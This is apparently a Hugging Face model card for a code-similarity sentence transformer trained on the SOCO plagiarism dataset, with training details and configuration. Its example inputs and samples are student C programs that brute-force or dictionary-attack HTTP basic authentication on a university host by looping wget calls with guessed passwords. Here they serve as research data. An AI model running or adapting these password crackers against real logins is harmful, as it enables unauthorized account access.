SentenceTransformer based on uclanlp/plbart-java-cs
This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: uclanlp/plbart-java-cs
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'PLBartModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
'\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n FILE *fptr;\n char pass[257];\n char send[100],path[50];\n int res,count=0;\n int startTime, stopTime, final;\n startTime = time();\n while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n \n while(1) {\n fgets(pass,256,fptr);\n if(pass == NULL) exit(1);\n if(pass[3]==\'\\n\') {\n pass[3]=\'\\0\';\n\t send[0]=\'\\0\';\n\t strcpy(send,"wget --http-user= --http-passwd=");\n \t strcat(send,pass);\n\t strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t count++;\n\t if((res=(system(send)) == 0)) {\n\t fclose(fptr);\n\t stopTime = time();\n final = stopTime-startTime;\n\t printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n",pass,(double)final/OneBillion,count);\n\t exit(1);\n\t }\n }\n }\n }\n printf("\\nFILE CANNOT OPENED\\n");\n}\n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime, stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t [2] = arr[k];\n\t [3] = \'\\0\';\n\n\n\t printf("Checking for the word :%s\\n",);\n\t strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass == 0)\n\t { \n printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t stopTime = time();\n\n final = stopTime-startTime;\n\t\tprintf("The password for the user : %s\\n",); \n printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n',
'\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
# [0.9742, 1.0000, 0.9571],
# [0.9676, 0.9571, 1.0000]])
Training Details
Training Dataset
Unnamed Dataset
- Size: 3,081 training samples
- Columns:
sentence_0,sentence_1, andlabel - Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 146 tokens
- mean: 381.73 tokens
- max: 512 tokens
- min: 146 tokens
- mean: 365.36 tokens
- max: 512 tokens
- 0: ~99.10%
- 1: ~0.90%
- Samples:
sentence_0 sentence_1 label
#include
#include
#include
#define OneBillion 1e9
int () {
FILE *fp;
int ret;
char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
char str[100];
char passwd[150];
int startTime, stopTime, final;
strcpy(passwd,strin);
fp = fopen("words","r");
if (fp == NULL) {
printf ("\n Error opening file; exiting...");
exit(0);
}
else
startTime = time();
while (fgets(str,20,fp) != NULL) {
str[strlen(str)-1] = '\0';
if (strlen(str) < 4) {
strcat(passwd,str);
printf("string is %s\n",passwd);
ret = system(passwd);
strcpy(passwd,strin);
if (ret == 0) break;
}
}
stopTime = time();
final = stopTime-startTime;
printf("\n============================================================");
printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
printf("\n UserName : ");
printf("\n Pas...#include
#include
#include
#include
#include
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1...0
#include
#include
#include
int () {
while (1) {
system("wget -p www.cs.rmit.edu.");\
system("mkdir sitefiles");
system("cp www.cs.rmit.edu./index.html sitefiles");
system("diff sitefiles/index.html www.cs.rmit.edu./index.htmlmail @cs.rmit.edu.");
system("md5sum www.cs.rmit.edu./images/. > imageInfo.txt");
system("diff imageInfo.txt sitefiles/imageInfo.txtmail @cs.rmit.edu.");
system("cp imageInfo.txt sitefiles");
sleep(86400);
}
}#include
#include
#include
#include
#include
int ()
{
char first[80], last[50];
int count =0;
int Start_time,End_time,Total_time,average;
char password[15], *getWord;
getWord = " ";
FILE *fp;
int systemres = 1;
fp = fopen("words", "r");
Start_time = time();
strcpy(first, "wget --http-user= --http-passwd=");
strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
{
getWord = fgets(password, 15, fp);
if (getWord == NULL) exit(1);
password [ strlen(password) - 1 ] = '\0';
if(strlen(password) == 3)
{
strcat(first, password);
strcat(first, last);
printf("The length of the word is : %d", strlen(password));
printf("\n %s \n",first);
count++;
systemres = system(first);
if (systemres == 0)
{
printf(" Time =%11dms\n", Start_time);
End_time = time();
Total_time = (End_time - Start_time);
Total_time /= 1000000000.0;
printf("totaltime in seconds =%lldsec\n", ...
#include
#include
#include
int ()
{
int i,j,k,cntr=0;
char pass[3];
char password[3];
char get[96];
char username[]="";
int R_VALUE;
double time_used;
clock_t ,end;
=clock();
for (i = 65; i <= 122; i++)
{
if(i==91) {i=97;}
for (j = 65; j <= 122; j++)
{
if(j==91) {j=97;}
for (k = 65; k <= 122; k++)
{
if(k==91) {k=97;}
pass[0] = i;
pass[1] = j;
pass[2] = k;
sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
cntr++;
printf("%d )%s\n\n", cntr, password);
sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
...0 - Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size: 16per_device_eval_batch_size: 16num_train_epochs: 1fp16: Truemulti_dataset_batch_sampler: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.0warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: batch_samplermulti_dataset_batch_sampler: round_robinrouter_mapping: {}learning_rate_mapping: {}
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
- Downloads last month
- 3
Model tree for buelfhood/SOCO-C-PLBART-ST
Base model
uclanlp/plbart-java-cs